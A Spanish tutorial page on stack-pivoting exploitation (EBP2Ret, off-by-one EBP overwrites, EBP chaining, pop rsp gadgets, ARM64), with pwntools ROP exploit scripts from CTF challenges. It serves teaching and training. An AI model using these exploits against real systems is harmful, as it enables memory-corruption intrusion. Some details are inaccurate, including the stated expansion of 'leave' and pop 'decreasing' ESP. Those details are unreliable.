# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../banners/hacktricks-training.md}} ## Información Básica Esta técnica explota la capacidad de manipular el **Puntero Base (EBP)** para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**. Como recordatorio, **`leave`** básicamente significa: ``` mov ebp, esp pop ebp ret ``` Y como el **EBP está en la pila** antes del EIP, es posible controlarlo controlando la pila. ### EBP2Ret Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse. Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que efectivamente apunte a una dirección almacenada por el atacante allí.**\ Nota cómo **necesitas conocer 2 direcciones**: La que donde el ESP va a ir, donde necesitarás escribir la dirección a la que apunta el ESP. #### Construcción del Exploit Primero necesitas conocer una **dirección donde puedes escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**. Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar: - Una dirección válida de [**ONE_GADGET**](https://github.com/david942j/one_gadget). - La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86). - La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguida del **shellcode** a ejecutar. - Alguna cadena [**ROP**](../rop-return-oriented-programing/index.html). Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución. #### Exploit Off-By-One Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\ Usualmente se modifica el byte 0x00 para saltar lo más lejos posible. Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final. ### **Cadena EBP** Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila y una dirección para `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección `EBP` controlada desde la pila**. Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto: - **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`. - **`system()`** -> Llamado por `ret`. - **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo. - **`&("/bin/sh")`**-> Parámetro para `system`. Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa. Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite. Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP podría no ser utilizado Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene un efecto real.\ Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado. - **No optimizado:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - **Optimizado:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## Otras formas de controlar RSP ### **`pop rsp`** gadget [**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay una **leak de la pila**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp Consulta la técnica ret2esp aquí: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ## Referencias y Otros Ejemplos - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bits, explotación off by one con una cadena rop que comienza con un ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de stack y usa el WWW para volver y obtener el leak de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP. ## ARM64 En ARM64, el **prologo y epílogo** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**. Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**. - prologo ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP apunta al registro de marco ``` - epílogo ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` > [!CAUTION] > La forma de realizar algo similar al pivoting de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él. También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} {{#include ../../banners/hacktricks-training.md}}